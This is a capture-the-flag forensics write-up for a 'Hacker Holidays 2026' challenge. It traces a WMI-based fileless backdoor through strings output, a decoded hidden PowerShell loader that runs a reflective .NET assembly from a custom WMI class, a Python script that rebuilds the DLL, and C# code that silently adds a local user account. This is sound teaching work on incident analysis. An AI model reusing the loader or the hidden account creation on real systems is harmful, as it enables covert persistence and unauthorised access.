

Hacker Holidays 2026 – Day 12

After Hours

TODAY'S ITINERARY

- ☐ Parse the provided system artifacts for hidden custom configuration data
- ☐ Locate the malicious class and extract its embedded payload
- ☐ Decode the payload and submit the recovered flag

In this challenge from Hacker Holidays, we're asked to do Windows file forensics to locate malware

Hacker Holidays 2026 – Day 12

After Hours

```
└─$ ls -l
total 28824
-rw-rw-rw- 1 theshyhat theshyhat 5070848 Jul 12 17:27 INDEX.BTR
-rw-rw-rw- 1 theshyhat theshyhat 79528 Jul 12 17:16 MAPPING1.MAP
-rw-rw-rw- 1 theshyhat theshyhat 79528 Jul 12 17:24 MAPPING2.MAP
-rw-rw-rw- 1 theshyhat theshyhat 79528 Jul 12 17:30 MAPPING3.MAP
-rw-rw-rw- 1 theshyhat theshyhat 24199168 Jul 12 17:27 OBJECTS.DATA
```

After unzipping the log files, we see that these are Windows Management Instrumentation (WMI) files, which Windows systems use as databases

Hacker Holidays 2026 – Day 12

After Hours

```
└─$ strings OBJECTS.DATA | grep -i powershell | sort | uniq  
cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlACAAPQAgACg  
AWwBXAG0AaQBDAGwAYQBzAHMAXQAnAFIATwBPAFQAXABjAGkAbQB2ADIAOgBXAGkAbgAzADIAXw  
BIAGEAcgBkAHcAYQByAGUAVABlAGwAZQBtAGUAdABYAHkAJwApAC4AUABYAG8AcABlAHlAdABpA  
GUAcwBbACcAQwBvAG4AZgBpAGcARABhAHQAYQAnAF0ALgBWAGEAbAB1AGUA0wANAAoAJABvACAA  
PQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHlAeQBTAHQAcgBlAGEAbQA
```

The objects.data file can contain command execution history, i.e., Powershell commands, so we look there

Hacker Holidays 2026 – Day 12

After Hours

```
└─$ strings OBJECTS.DATA | grep -i powershell | sort | uniq  
cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlACAAPQAgACg  
AWwBXAG0AaQBDAGwAYQBzAHMAXQAnAFIATwBPAFQAXABjAGkAbQB2ADIAOgBXAGkAbgAzADIAXw  
BIAGEAcgBkAHcAYQByAGUAVABlAGwAZQBtAGUAdABYAHkAJwApAC4AUABYAG8AcABlAHlAdABpA  
GUAcwBbACcAQwBvAG4AZgBpAGcARABhAHQAYQAnAF0ALgBWAGEAbAB1AGUA0wANAAoAJABvACAA  
PQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHlAeQBTAHQAcgBlAGEAbQA
```

The Powershell command we see in the output has a base64 encoded component, which we can decode

Hacker Holidays 2026 – Day 12

After Hours

```
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($file), [IO.Compression.CompressionMode]::Decompress);
$b = New-Object Byte[](1024);
$r = $d.Read($b,0,1024);
while($r -gt 0){
    $o.Write($b,0,$r);
    $r = $d.Read($b,0,1024);
}
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@([string[]]@()))|Out-Null
```

When decoded, we see the Powershell script above

Hacker Holidays 2026 – Day 12

After Hours

```
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry')  
        .Properties['ConfigData'].Value;
```

This script takes the contents of the Win32_HardwareTelemetry class (which is not a standard one)

Hacker Holidays 2026 – Day 12

After Hours

```
$o = New-Object IO.MemoryStream;  
$d = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]  
::FromBase64String($file),[IO.Compression.CompressionMode]  
::Decompress);
```

Then the class contents are compressed, then
base64 encoded

Hacker Holidays 2026 – Day 12

After Hours

```
$b = New-Object Byte[](1024);  
$r = $d.Read($b,0,1024);  
while($r -gt 0){  
    $o.Write($b,0,$r);  
    $r = $d.Read($b,0,1024);  
}  
[Reflection.Assembly]::Load($o.ToArray())  
.EntryPoint.Invoke($null,@(,[string[]]@()))|Out-Null
```

Then contents of the file are put into memory in 1024-byte chunks, then loaded into memory and executed using .NET reflection

Hacker Holidays 2026 – Day 12

After Hours

```
└─$ strings OBJECTS.DATA | grep -i Win32_HardwareTelemetry -A 10 | sort | u  
niq  
--  
7VZPbFRFGP/edillgUrBAJWAjy0l5d/r0hYDpIWW7gLF/oMtxRATEPt2un3w3ptl5u3Sc1A0qDF  
64OTZgwc1mmhiYqMSOXgUTyaamBA0mhhjw0Y8Tfz3m7/Kty48G3fN9+/+eY3M9/Md0TibWogoi  
S+R4+I5iiifno83cTX/OJXzfTFmns754zhezsnpl1plgUvCds3HTsIeGgWmCkqgekGZnYsb/q8y  
Kz161074hzj0aJho4EGN01cqeV9QAljrbGWqBFKU2S73w5m1oD1R3Iiwk0032pQiUhMUP8bRBv0
```

The next step for us is to locate the contents of the Win32_HardwareTelemetry in the objects.data file

Hacker Holidays 2026 – Day 12

After Hours

```
$ strings OBJECTS.DATA | grep -i Win32_HardwareTelemetry -A 10 | sort | u  
niq  
--  
7VZPbFRFGP/edillgUrBAJWAjy0l5d/r0hYDpIWW7gLF/oMtxRATEPt2un3w3ptl5u3Sc1A0qDF  
64OTZgwc1mmhiYqMSOXgUTyaamBA0mhhjw0Y8Tfz3m7/Kty48G3fN9+/+eY3M9/Md0TibWogoi  
S+R4+I5iiifno83cTX/OJXzfTFmns754zhezsnpl1plgUvCds3HTsIeGgWmCkqgekGZnYsb/q8y  
Kz161074hzj0aJho4EGN01cqev9QAljrbGWqBFKU2S73w5m1oD1R3Iiwk0032pQiUhMUP8bRBv0
```

This nets us the base64-encoded version of the compressed contents. If we want to obtain the original payload, we need to restore the data

Hacker Holidays 2026 – Day 12

After Hours

```
import base64
import zlib

binary_data = "7VZPbFRFGP/edillgUrBAJWAjy0l5d/r0hYDpIWW7gLF/oMtxRAT

decoded_data = base64.b64decode(binary_data)

decompressed_data = zlib.decompress(decoded_data, -zlib.MAX_WBITS)

output_filename = "payload.dll"

with open(output_filename, "wb") as f:
    f.write(decompressed_data)
```

We use a Python script to perform the base64 decode and decompression operations

Hacker Holidays 2026 – Day 12

After Hours

```
ProcessStartInfo processStartInfo = new ProcessStartInfo();  
processStartInfo.FileName = "cmd.exe";  
processStartInfo.Arguments = "/c net user patch VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9 /add";  
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;  
processStartInfo.CreateNoWindow = true;  
Process.Start(processStartInfo);
```

This program was originally written in C#, and we can see another base64-encoded string in the code, which, when decoded, is the challenge flag